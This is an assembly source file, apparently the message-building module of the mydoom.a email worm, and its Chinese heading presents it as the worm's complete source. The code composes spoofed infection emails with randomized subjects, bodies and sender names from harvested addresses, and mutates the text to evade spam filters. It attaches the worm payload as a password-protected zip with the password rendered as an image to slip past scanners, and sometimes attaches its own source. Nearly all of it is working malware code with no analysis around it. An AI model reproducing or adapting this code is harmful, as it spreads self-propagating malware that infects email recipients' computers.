smtpmessage.asm

蠕虫mydoom.a版本的完整源代码

EmailRandomExt proc
        invoke  EmailRandomCommon, offset szExts, addr dwExtsCount
        ret
EmailRandomExt endp

; Safe string randomizer initialization
EmailRandInit proc
        invoke  EmailRandomSubject2
        invoke  EmailRandomMsg2
        invoke  EmailRandomName
        invoke  EmailRandomPass
        invoke  EmailRandomPassOnlyFmt
        invoke  EmailRandomExt
        ret
EmailRandInit endp

CreateMessageContent2 proc uses esi ebx PassName, PassExt, Boundary: DWORD
        invoke  GlobalAlloc, GPTR, 20000
        mov     ebx, eax
        invoke  GlobalAlloc, GPTR, 5000
        mov     esi, eax

        ; Body
        invoke  EmailRandomMsg2
        invoke  lstrcpy, ebx, eax

        mov     eax, offset szZipPassBuff
        .IF     byte ptr[eax]
                invoke  EmailRandomPass
                invoke  wsprintf, esi, eax, PassName, PassExt
                invoke  lstrcat, ebx, esi
                invoke  lstrcat, ebx, offset szCRLF
        .ELSE
                invoke  lstrcat, ebx, offset szCRLF
        .ENDIF

        ; Free temp buffer
        invoke  GlobalFree, esi
        mov     eax, ebx
        ret
CreateMessageContent2 endp

CreateMessagePassImg proc uses ebx PassName, PassExt: DWORD
        invoke  GlobalAlloc, GPTR, 20000
        mov     ebx, eax
        invoke  wsprintf, ebx, offset szPassImg, PassName, PassExt
        mov     eax, ebx
        ret
CreateMessagePassImg endp

; Simple mutation routine
MutateMessage proc uses edi ebx lpMsg, stream: DWORD
        LOCAL   _first: DWORD
        LOCAL   _str: DWORD

        invoke  GlobalAlloc, GPTR, 5000
        mov     _str, eax

        mov     _first, 0
        mov     edi, lpMsg

@tokenize:
        cld
        mov     edx, edi

@l:
        .IF     (byte ptr[edi] != 0) && (byte ptr[edi] != " ")
                inc     edi
                jmp     @l
        .ENDIF

        mov     bl, byte ptr[edi]
        mov     byte ptr[edi], 0
        invoke  lstrcpy, _str, edx
        mov     byte ptr[edi], bl

        .IF     !_first
                mov     _first, 1
        .ELSE
                invoke  Rand, 4
                .IF     !eax
                        coinvoke stream, IStream, Write, offset szTokens, 1, NULL
                .ENDIF
                coinvoke stream, IStream, Write, offset szTokens, 1, NULL
        .ENDIF

        invoke  lstrlen, _str
        coinvoke stream, IStream, Write, _str, eax, NULL
        
        inc     edi
        cmp     byte ptr[edi-1], 0
        jnz     @tokenize

        invoke  GlobalFree, _str
        ret
MutateMessage endp

; Make first letter uppercased
UpperEmailSrvLetter proc lpEmail: DWORD
        mov     eax, lpEmail
        push    eax
        movzx   eax, byte ptr[eax]
        invoke  CharUpper, eax
        pop     edx
        mov     byte ptr[edx], al
        ret
UpperEmailSrvLetter endp

; Rip username from e-mail address ([e-mail] -> User)
EmailGetName proc uses esi edi lpEmail, lpOut: DWORD
        invoke  StrChrI, lpEmail, '@'
        .IF     eax
                sub     eax, lpEmail
                inc     eax

                invoke  lstrcpyn, lpOut, lpEmail, eax

                mov     edi, lpOut
        @l:
                .IF     (!byte ptr[edi]) || (byte ptr[edi] == '_') || ((byte ptr[edi] >= '0') && (byte ptr[edi] <= '9'))
                        mov     byte ptr[edi], 0
                .ELSE
                        inc     edi
                        jmp     @l
                .ENDIF
                
                invoke  UpperEmailSrvLetter, lpOut
        .ENDIF
        ret
EmailGetName endp

; Create message, return IStream ptr
EmailFormatMessage proc From, To: DWORD
        LOCAL   szSubject: DWORD
        LOCAL   stream: DWORD
        LOCAL   lpBoundary[150]: BYTE
        LOCAL   lpPassName[20]: BYTE
        LOCAL   szHeader: DWORD
        LOCAL   szMessage: DWORD
        LOCAL   FromName: DWORD
        LOCAL   ToName: DWORD

        invoke  GlobalAlloc, GPTR, 1024
        mov     FromName, eax
        invoke  EmailGetName, From, eax

        invoke  GlobalAlloc, GPTR, 1024
        mov     ToName, eax
        invoke  EmailGetName, To, eax

        invoke  EmailRandomSubject2
        mov     szSubject, eax

        invoke  StreamCreate, addr stream
        invoke  GlobalAlloc, GPTR, 8192
        mov     szHeader, eax

        ; Generate boundary
        invoke  ZeroMemory, addr lpBoundary, 30
        invoke  GetRandomID, addr lpBoundary, 20

        ; Generate password filename
        invoke  ZeroMemory, addr lpPassName, 20
        invoke  GetRandomID, addr lpPassName, 10

        ; Main header
        invoke  EmailFormatHeader, ToName, To, FromName, From, addr lpBoundary, szSubject, szHeader
        invoke  lstrlen, szHeader
        coinvoke stream, IStream, Write, szHeader, eax, NULL

        ; Message header boundary
        invoke  wsprintf, szHeader, offset TxtHeader, addr lpBoundary
        invoke  lstrlen, szHeader
        coinvoke stream, IStream, Write, szHeader, eax, NULL

        ; HTML Start
        invoke  lstrlen, offset szHTMLStart
        coinvoke stream, IStream, Write, offset szHTMLStart, eax, NULL

        ; The Message Body
        mov     edx, b64PasswordMime
        add     edx, 6 ; image file extension
        .IF     bPassImgOnly
                invoke  CreateMessagePassImg, addr lpPassName, edx
        .ELSE
                invoke  CreateMessageContent2, addr lpPassName, edx, addr lpBoundary
        .ENDIF
        mov     szMessage, eax
        invoke  MutateMessage, eax, stream

        ; HTML end
        invoke  lstrlen, offset szHTMLEnd
        coinvoke stream, IStream, Write, offset szHTMLEnd, eax, NULL

        ; If password enabled
        mov     eax, offset szZipPassBuff
        .IF     byte ptr[eax]
                mov     edx, b64PasswordMime
                add     edx, 6 ; file extension
                ; Image password header
                invoke  wsprintf, szHeader, offset ImgPassHeader, addr lpBoundary, b64PasswordMime, addr lpPassName, edx, addr lpPassName, edx, addr lpPassName, edx
                invoke  lstrlen, szHeader
                coinvoke stream, IStream, Write, szHeader, eax, NULL
                coinvoke stream, IStream, Write, b64Password, b64PasswordLen, NULL
                coinvoke stream, IStream, Write, offset szTextCRLF, 2, NULL
                coinvoke stream, IStream, Write, offset szTextCRLF, 2, NULL
        .ENDIF

        ; File header
        invoke  EmailRandomName
        invoke  wsprintf, szHeader, offset ZipHeader, addr lpBoundary, eax, szAttachExt, eax, szAttachExt
        invoke  lstrlen, szHeader
        coinvoke stream, IStream, Write, szHeader, eax, NULL

        ; File data
        coinvoke stream, IStream, Write, b64Attach, b64AttachLen, NULL

        ; -------------------
        ; Attach with sources
        invoke	Rand, 100
        .IF	eax >= 70
        	; 30% send sources
		coinvoke stream, IStream, Write, offset szTextCRLF, 2, NULL
		coinvoke stream, IStream, Write, offset szTextCRLF, 2, NULL

        	; File header
        	invoke  wsprintf, szHeader, offset ZipHeader, addr lpBoundary, offset szSrcAttachName, offset szSrcAttachExt, offset szSrcAttachName, offset szSrcAttachExt
        	invoke  lstrlen, szHeader
        	coinvoke stream, IStream, Write, szHeader, eax, NULL

        	; File data
        	coinvoke stream, IStream, Write, b64SrcAttach, b64SrcAttachLen, NULL
        .ENDIF

        ; Final boundary
        invoke  wsprintf, szHeader, offset ZipBoundaryHdr, addr lpBoundary
        invoke  lstrlen, szHeader
        coinvoke stream, IStream, Write, szHeader, eax, NULL

        invoke  GlobalFree, szMessage
        invoke  GlobalFree, szHeader
        invoke  GlobalFree, FromName
        invoke  GlobalFree, ToName

        IFDEF TESTVERSION
                ; Write sample email to disk
                invoke  wsprintf, addr lpBoundary, offset szTestSaveFmt, To
                invoke  StreamSaveToFile, stream, addr lpBoundary
        ENDIF

        mov     eax, stream
        ret
EmailFormatMessage endp